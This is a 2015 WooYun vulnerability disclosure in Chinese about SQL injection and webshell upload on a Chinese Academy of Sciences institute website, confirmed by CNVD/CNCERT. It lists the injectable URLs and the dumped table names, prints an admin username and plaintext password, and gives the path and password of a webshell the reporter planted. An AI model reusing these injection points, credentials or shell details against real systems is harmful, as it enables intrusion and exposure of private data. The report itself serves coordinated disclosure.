当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0129177

漏洞标题:中科院某站从sql注入到shell

相关厂商:cncert国家互联网应急中心

漏洞作者: ciz11

提交时间:2015-07-26 11:39

修复时间:2015-09-13 09:26

公开时间:2015-09-13 09:26

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-26: 细节已通知厂商并且等待厂商处理中
2015-07-30: 厂商已经确认,细节仅向厂商公开
2015-08-09: 细节向核心白帽子及相关领域专家公开
2015-08-19: 细节向普通白帽子公开
2015-08-29: 细节向实习白帽子公开
2015-09-13: 细节向公众公开

简要描述:

多处sql注射,文件上传,源码泄露,敏感信息泄露

详细说明:

注入点:http://bdm.psych.ac.cn/peoplelist.php?name=%E6%9D%8E%E7%BA%BE
http://bdm.psych.ac.cn/activitylist.php?title=%E8%AF%BE%E9%A2%98%E7%BB%84%E5%9C%A8%E5%9B%BD%E7%A7%91%E5%A4%A7%E6%80%80%E6%9F%94%E6%A0%A1%E5%8C%BA%E6%B4%BB%E5%8A%A8
http://bdm.psych.ac.cn/projectlist.php?title=%E5%9B%BD%E5%AE%B6%E8%87%AA%E7%84%B6%E7%A7%91%E5%AD%A6%E5%9F%BA%E9%87%91%E9%9D%A2%E4%B8%8A%E9%A1%B9%E7%9B%AE%E2%80%9C%E7%AA%81%E5%8F%91%E5%85%AC%E5%85%B1%E4%BA%8B%E4%BB%B6%E5%90%8E%E4%B8%AD%E5%9B%BD%E6%B0%91%E4%BC%97%E7%9A%84%E5%90%8E%E7%BB%A7%E9%A3%8E%E9%99%A9%E5%86%B3%E7%AD%96%E2%80%9D
注入结果:
[21 tables]
+----------------+
| admininfo |
| article |
| engarticle |
| engfriendlink |
| engorientation |
| engproject |
| engpublication |
| engresearcher |
| engresearcher1 |
| engteaching |
| friendlink |
| gaikuang |
| ipcount |
| orientation |
| project |
| publication |
| recentnews |
| recentresearch |
| researcher |
| researcher1 |
| teaching |
+----------------+
admininfo表:
+-----------+---------------+
| username | userpwd |
+-----------+---------------+
| lishuteam | LiShu20120907 |
+-----------+---------------+
后台登陆
http://bdm.psych.ac.cn/login.php

1111111111.png


这个后台应该是所里某个同学写的,很简洁,无防护,从出版物发布直接上传小马。

3333333333.png


2012.php是我上的小马 地址upload/2012.php 密码nstest
这个服务器上有研究所主站的部分代码,当时应该是在这个服务器测试的

22222222.png


web3.psych.ac.cn 里有部分测试代码
mydbgl里是数据库部分的代码

666.jpg


d文件夹下有很多资料,信息

55555.png


还有一些夫妻两地分居的备案表,这里就不贴了。

漏洞证明:

如上

修复方案:

sql注射过滤

版权声明:转载请注明来源 ciz11@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2015-07-30 09:25

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT向中国科学院计算机网络管理中心通报,由其后续协调网站管理单位处置。

最新状态:

暂无


漏洞评价:

评论